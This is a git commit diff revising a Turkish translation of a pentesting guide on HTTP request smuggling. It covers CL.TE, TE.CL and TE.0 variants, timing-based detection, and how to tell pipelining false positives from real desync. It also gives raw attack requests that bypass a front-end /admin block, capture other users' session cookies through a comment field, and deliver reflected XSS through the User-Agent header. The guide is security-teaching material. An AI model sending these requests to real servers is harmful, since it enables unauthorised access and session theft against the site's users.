Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

This commit is contained in:
Translator 2025-08-20 16:35:57 +00:00
parent c6a71ecc85
commit 2485e6206b
2 changed files with 200 additions and 72 deletions

View File

@ -4,7 +4,7 @@
## Nedir
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** **göndermesine** olanak tanır. HTTP **isteği**, **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.
### Teori
@ -19,7 +19,7 @@ Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değişt
**Transfer-Encoding: chunked**
> Transfer-Encoding başlığı, yük gövdesinin güvenli bir şekilde kullanıcıya aktarılması için kullanılan kodlama biçimini belirtir.\
> Transfer-Encoding başlığı, yük gövdesinin kullanıcıya güvenli bir şekilde aktarılması için kullanılan kodlama biçimini belirtir.\
> Chunked, büyük verilerin bir dizi parça halinde gönderildiği anlamına gelir.
### Gerçeklik
@ -31,7 +31,7 @@ Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır ve
HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
- **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için **ondalık bir sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
- **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
- **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça**, **yeni bir satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satır** ile bitmelidir: `0`
- **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
@ -40,13 +40,13 @@ HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
> [!TIP]
> Bunu Burp Suite ile sömürmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini tekrar edicide devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encoding** (TE) başlıklarının ön uç ve arka uç sunucuları tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanarak belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucularının bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encoding** (TE) başlıklarının ön uç ve arka uç sunucuları tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucularının bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
### Zafiyet Türlerinin Temel Örnekleri
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> [!TIP]
> Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniği gibi ama Transfer Encoding kullanarak.
#### CL.TE Zafiyeti (Ön Uçta Content-Length, Arka Uçta Transfer-Encoding kullanılır)
@ -107,9 +107,9 @@ x=
- **Sunucular:** Her ikisi de `Transfer-Encoding`i destekler, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
- **Saldırı Senaryosu:**
- Saldırgan, obfuscation içeren `Transfer-Encoding` başlıklarıyla bir istek gönderir.
- Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıkları ile bir istek gönderir.
- Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.
- İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
- İsteğin işlenmemiş kısmı, sunuculardan birinin gördüğü gibi, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
- **Örnek:**
```
@ -131,7 +131,7 @@ Transfer-Encoding
#### **CL.CL Senaryosu (Her iki tarafta da Content-Length kullanılır)**
- Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
- Her iki sunucu, isteği yalnızca `Content-Length` başlığına dayanarak işler.
- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyumludur.
- **Örnek:**
@ -146,8 +146,8 @@ Normal Request
#### **CL.0 Senaryosu**
- `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, istek gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
- Bu, smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
- `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder, bu da isteğin gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
- Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
- **Örnek:**
```
@ -163,7 +163,7 @@ Non-Empty Body
- Öncekine benzer ancak TE kullanarak.
- Teknik [burada rapor edilmiştir](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Örnek:**
- **Örnek**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -181,11 +181,11 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Web sunucusunu kırmak
#### Web sunucusunu kırma
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi** bir sonraki HTTP isteği olarak kabul edilecektir.
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacak, bu nedenle isteğin **gövdesi** bir sonraki HTTP isteği olarak işlenecektir.
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki HTTP isteği olarak işlenecektir.
#### Hop-by-hop başlıkları ile zorlamak
@ -199,15 +199,15 @@ For **daha fazla bilgi için hop-by-hop başlıkları** ziyaret edin:
../abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP İsteği Kaçırma Bulma
## HTTP İstek Sızdırma Bulma
HTTP isteği kaçırma zafiyetlerini tanımlamak genellikle zamanlama teknikleri kullanılarak gerçekleştirilebilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesi için ne kadar süre geçtiğini gözlemlemeye dayanır. Bu teknikler, özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için faydalıdır. Bu yöntemlerin yanı sıra, bu tür zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
HTTP istek sızdırma açıklarını tanımlamak genellikle zamanlama teknikleri kullanılarak gerçekleştirilebilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesi için ne kadar süre geçtiğini gözlemlemeye dayanır. Bu teknikler, özellikle CL.TE ve TE.CL ıklarını tespit etmek için faydalıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
### Zamanlama Teknikleri Kullanarak CL.TE Zafiyetlerini Bulma
### Zamanlama Teknikleri Kullanarak CL.TE ıklarını Bulma
- **Yöntem:**
- Uygulama zayıfsa, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
- Uygulama ık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
- **Örnek:**
```
@ -224,17 +224,17 @@ A
- **Gözlem:**
- Ön uç sunucu, isteği `Content-Length` temelinde işler ve mesajı erken keser.
- Arka uç sunucu, parçalı bir mesaj beklediğinden, asla gelmeyen bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
- Arka uç sunucu, parçalı bir mesaj bekleyerek, asla gelmeyecek olan bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
- **Göstergeler:**
- Yanıt sürelerinde zaman aşımı veya uzun gecikmeler.
- Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgileri ile birlikte.
- Arka uç sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgileri ile birlikte.
### Zamanlama Teknikleri Kullanarak TE.CL Zafiyetlerini Bulma
### Zamanlama Teknikleri Kullanarak TE.CL ıklarını Bulma
- **Yöntem:**
- Uygulama zayıfsa, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
- Uygulama ık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
- **Örnek:**
```
@ -250,40 +250,146 @@ X
- **Gözlem:**
- Ön uç sunucu, isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
- Arka uç sunucu, `Content-Length` temelinde bir mesaj beklediğinden, asla gelmeyen ek veriyi bekler ve bu da bir gecikmeye neden olur.
- Arka uç sunucu, `Content-Length` temelinde bir mesaj bekleyerek, asla gelmeyecek olan ek veriyi bekler ve bu da bir gecikmeye neden olur.
### Zafiyetleri Bulmak için Diğer Yöntemler
### ıkları Bulmak İçin Diğer Yöntemler
- **Farklı Yanıt Analizi:**
- Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterebilir.
- **Otomatik Araçlar Kullanma:**
- Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
- Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu ıkları otomatik olarak test edebilir.
- **Content-Length Varyans Testleri:**
- Gerçek içerik uzunluğu ile uyumlu olmayan değişen `Content-Length` değerleri ile istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl ele aldığını gözlemleyin.
- Gerçek içerik uzunluğu ile uyumlu olmayan değişken `Content-Length` değerleri ile istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl ele aldığını gözlemleyin.
- **Transfer-Encoding Varyans Testleri:**
- Obfuscate edilmiş veya hatalı `Transfer-Encoding` başlıkları ile istekler gönderin ve ön uç ile arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
### HTTP İsteği Kaçırma Zafiyeti Testi
### HTTP İstek Sızdırma Açıklığı Testi
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteğindererek 404 yanıtı almak. Daha önce [Temel Örnekler](#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen 404 yanıtı almak için bir istemci isteğini nasıl zehirleyeceğinizi göstermektedir.
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini kontrol etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` adresine yapılan bir isteğin 404 yanıtı vermesini sağlamak. Daha önce [Temel Örnekler](#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemci isteğini zehirleyerek 404 yanıtı almak için nasıl yapılacağını göstermektedir; bu, istemcinin farklı bir kaynağa erişmeyi hedeflemesine rağmen gerçekleşir.
**Anahtar Dikkat Noktaları**
Diğer isteklerle müdahale ederek istek kaçırma zafiyetlerini test ederken, aklınızda bulundurmanız gerekenler:
Diğer isteklerle müdahale ederek istek sızdırma açıklarını test ederken, aklınızda bulundurmanız gerekenler:
- **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, zafiyetin varlığını doğrulamaz.
- **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, ığın varlığını doğrulamaz.
- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.
- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin zafiyet doğrulaması için birden fazla deneme gerektirebilir.
- **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birkaç deneme gerektirebilir.
- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
- **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir ığı doğrulamak için birkaç deneme gerektirebilir.
- **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteği değil) istemeden etkiliyorsa, bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.
## HTTP İsteği Kaçırmayı Kötüye Kullanma
## HTTP/1.1 pipelining kalıntılarını gerçek istek sızdırmadan ayırma
### HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma
Bağlantı yeniden kullanımı (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında "sızdırma" yanılsamaları yaratabilir. Zararsız istemci tarafı kalıntılarını gerçek sunucu tarafı senkronizasyon bozukluklarından ayırmayı öğrenin.
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve kısıtlı uç noktalarına yetkisiz erişim sağlanabilir. Örneğin, `/admin`'e erişim dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir açık bırakır.
### Neden pipelining klasik yanlış pozitifler yaratır
Aşağıdaki örnekler, HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini, özellikle ön uç proxy tarafından genellikle korunan `/admin` yolunu hedef alarak göstermektedir:
HTTP/1.1, tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri ve yanıtları aynı akışta birleştirir. Pipelining'de, istemci birden fazla isteği arka arkaya gönderir ve sıralı yanıtlar bekler. Yaygın bir yanlış pozitif, hatalı bir CL.0 tarzı yükü tek bir bağlantıda iki kez yeniden göndermektir:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Yanıtlar şu şekilde görünebilir:
```
HTTP/1.1 200 OK
Content-Type: text/html
```
```
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Eğer sunucu hatalı `Content_Length` değerini göz ardı ettiyse, FE↔BE desync yoktur. Yeniden kullanım ile, istemciniz aslında bu byte akışını gönderdi, sunucu bunu iki bağımsız istek olarak ayrıştırdı:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: yok. Sadece istemcinizi sunucu çerçevesinden senkronize ettiniz.
> [!TIP]
> Yeniden kullanım/pipelining'e bağımlı Burp modülleri: `requestsPerConnection>1` ile Turbo Intruder, "HTTP/1 bağlantı yeniden kullanımı" ile Intruder, "Grubu sırayla gönder (tek bağlantı)" veya "Bağlantı yeniden kullanımını etkinleştir" ile Repeater.
### Litmus testleri: pipelining mi yoksa gerçek desenkronizasyon mu?
1. Yeniden kullanımı devre dışı bırakın ve yeniden test edin
- Burp Intruder/Repeater'da HTTP/1 yeniden kullanımını kapatın ve "Grubu sırayla gönder" seçeneğinden kaçının.
- Turbo Intruder'da `requestsPerConnection=1` ve `pipeline=False` ayarlayın.
- Davranış kaybolursa, muhtemelen istemci tarafı pipelining'dir, aksi takdirde bağlantı kilitli/ durumlu hedeflerle veya istemci tarafı desenkronizasyonu ile uğraşıyorsunuz.
2. HTTP/2 iç içe yanıt kontrolü
- Bir HTTP/2 isteği gönderin. Eğer yanıt gövdesi tam bir iç içe geçmiş HTTP/1 yanıtı içeriyorsa, bu bir arka uç ayrıştırma/desenkronizasyon hatası kanıtıdır, saf bir istemci artefaktı değil.
3. Bağlantı kilitli ön uçlar için kısmi istekler
- Bazı ön uçlar, istemci kendi bağlantısını yeniden kullanmadıkça yukarı akış arka uç bağlantısını yalnızca yeniden kullanır. İstemci yeniden kullanımını yansıtan ön uç davranışını tespit etmek için kısmi istekler kullanın.
- Bağlantı kilitli tekniği için PortSwigger "Tarayıcı Güçlü Desenkronizasyon Saldırıları"na bakın.
4. Durum probeleri
- Aynı TCP bağlantısındaki ilk ve sonraki istek farklılıklarını arayın (ilk istek yönlendirme/doğrulama).
- Burp "HTTP Request Smuggler", bunu otomatikleştiren bir bağlantı durumu probu içerir.
5. Hattı görselleştirin
- Yeniden kullanım ve kısmi isteklerle deneme yaparken birleştirme ve mesaj çerçevesini doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.
### Bağlantı kilitli istek smuggling (yeniden kullanım gerektirir)
Bazı ön uçlar, istemci kendi bağlantısını yeniden kullanmadıkça yukarı akış bağlantısını yalnızca yeniden kullanır. Gerçek smuggling vardır ancak istemci tarafı yeniden kullanımına bağlıdır. Etkileri ayırt etmek ve kanıtlamak için:
- Sunucu tarafı hatasını kanıtlayın
- HTTP/2 iç içe yanıt kontrolünü kullanın veya
- Ön uç yalnızca istemci yeniden kullandığında yukarı akışı yeniden kullandığını göstermek için kısmi istekler kullanın.
- Doğrudan kullanıcılar arası soket istismarı engellense bile gerçek etki gösterin:
- Önbellek zehirlenmesi: desenkronizasyon aracılığıyla paylaşılan önbellekleri zehirleyin, böylece yanıtlar diğer kullanıcıları etkiler.
- Dahili başlık ifşası: ön uç tarafından enjekte edilen başlıkları (örneğin, kimlik doğrulama/güven başlıkları) yansıtın ve kimlik doğrulama atlamasına geçin.
- Ön uç kontrollerini atlayın: kısıtlı yolları/yöntemleri ön uçtan geçirin.
- Host-header istismarı: dahili sanal ana bilgisayarlara geçmek için host yönlendirme tuhaflıkları ile birleştirin.
- Operatör iş akışı
- Kontrol edilen yeniden kullanım ile yeniden üretin (Turbo Intruder `requestsPerConnection=2` veya Burp Repeater sekme grubu → "Grubu sırayla gönder (tek bağlantı)").
- Ardından önbellek/başlık sızıntısı/kontrol atlama ilkelere zincirleyin ve kullanıcılar arası veya yetkilendirme etkisini gösterin.
> Ayrıca bağlantı durumu saldırılarına bakın, bunlar yakından ilişkilidir ancak teknik olarak smuggling değildir:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### İstemci tarafı desenkronizasyon kısıtlamaları
Eğer tarayıcı destekli/istemci tarafı desenkronizasyon hedefliyorsanız, kötü niyetli istek bir tarayıcı tarafından çapraz kökenle gönderilebilir olmalıdır. Başlık karartma hileleri işe yaramaz. Navigasyon/çekme yoluyla erişilebilen ilkelere odaklanın ve ardından önbellek zehirlenmesi, başlık ifşası veya ön uç kontrol atlama ile geçiş yapın; burada aşağı akış bileşenleri yanıtları yansıtır veya önbelleğe alır.
Arka plan ve uçtan uca iş akışları için:
{{#ref}}
-browser-http-request-smuggling.md
{{#endref}}
### Karar vermeye yardımcı olacak araçlar
- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve soket birleştirmesini açığa çıkarır.
- "Smuggling veya pipelining?" Burp Repeater Özel Eylem: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection` aracılığıyla bağlantı yeniden kullanımını hassas bir şekilde kontrol eder.
- Burp HTTP Request Smuggler: ilk istek yönlendirme/doğrulamasını tespit etmek için bir bağlantı durumu probu içerir.
> [!NOTE]
> Yeniden kullanım etkilerini, sunucu tarafı desenkronizasyonunu kanıtlayamadıkça ve somut etki (zehirlenmiş önbellek artefaktı, ayrıcalık atlamasını sağlayan sızdırılmış dahili başlık, atlanmış ön uç kontrolü vb.) ekleyemedikçe sorun olarak görmeyin.
## HTTP Request Smuggling İstismarı
### HTTP Request Smuggling ile Ön Uç Güvenliğini Aşmak
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP Request Smuggling istismar edilerek aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` yoluna erişim dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, smuggling edilmiş bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir boşluk bırakır.
HTTP Request Smuggling'in ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
**CL.TE Örneği**
```
@ -302,7 +408,7 @@ Content-Length: 10
x=
```
CL.TE saldırısında, `Content-Length` başlığı ilk istek için kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
CL.TE saldırısında, başlangıç isteği için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, başlangıç `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
**TE.CL Örneği**
```
@ -324,7 +430,7 @@ Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer
### Ön uç istek yeniden yazımınıığa çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü bu, **korumaları aşmanın** veya **gizli bilgileri veya uç noktalarıığa çıkarmanın** yollarını ortaya çıkarabilir.
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü **korumaları aşmanın** veya **gizli bilgileri veya uç noktalarıığa çıkarmanın** yollarını ortaya çıkarabilir.
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:
```
@ -375,20 +481,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Bu senaryoda, **yorum parametresi**, kamuya açık bir sayfadaki bir gönderinin yorum bölümündeki içerikleri depolamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
Bu senaryoda, **yorum parametresi** kamuya açık bir sayfadaki bir gönderinin yorum bölümündeki içerikleri saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.
Ayrıca, bu yaklaşımın bir TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
### HTTP istek kaçakçılığını yansıyan XSS'yi istismar etmek için kullanma
### Yansıtılan XSS'yi istismar etmek için HTTP istek kaçakçılığını kullanma
HTTP Request Smuggling, **Yansıyan XSS**'ye karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
HTTP İstek Kaçakçılığı, **Yansıtılan XSS**'ye karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
- Hedef kullanıcılarla etkileşim **gerekmez**.
- HTTP istek başlıkları gibi **normalde ulaşılamayan** istek bölümlerinde XSS istismarına olanak tanır.
- HTTP istek başlıkları gibi **normalde ulaşılamayan** istek bölümlerinde XSS'nin istismarına olanak tanır.
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıyan XSS'ye karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıtılan XSS'ye karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğinizi göstermektedir:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -411,22 +517,22 @@ A=
```
Bu payload, zafiyeti istismar etmek için şu şekilde yapılandırılmıştır:
1. Smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile görünüşte tipik bir `POST` isteği başlatmak.
2. Chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
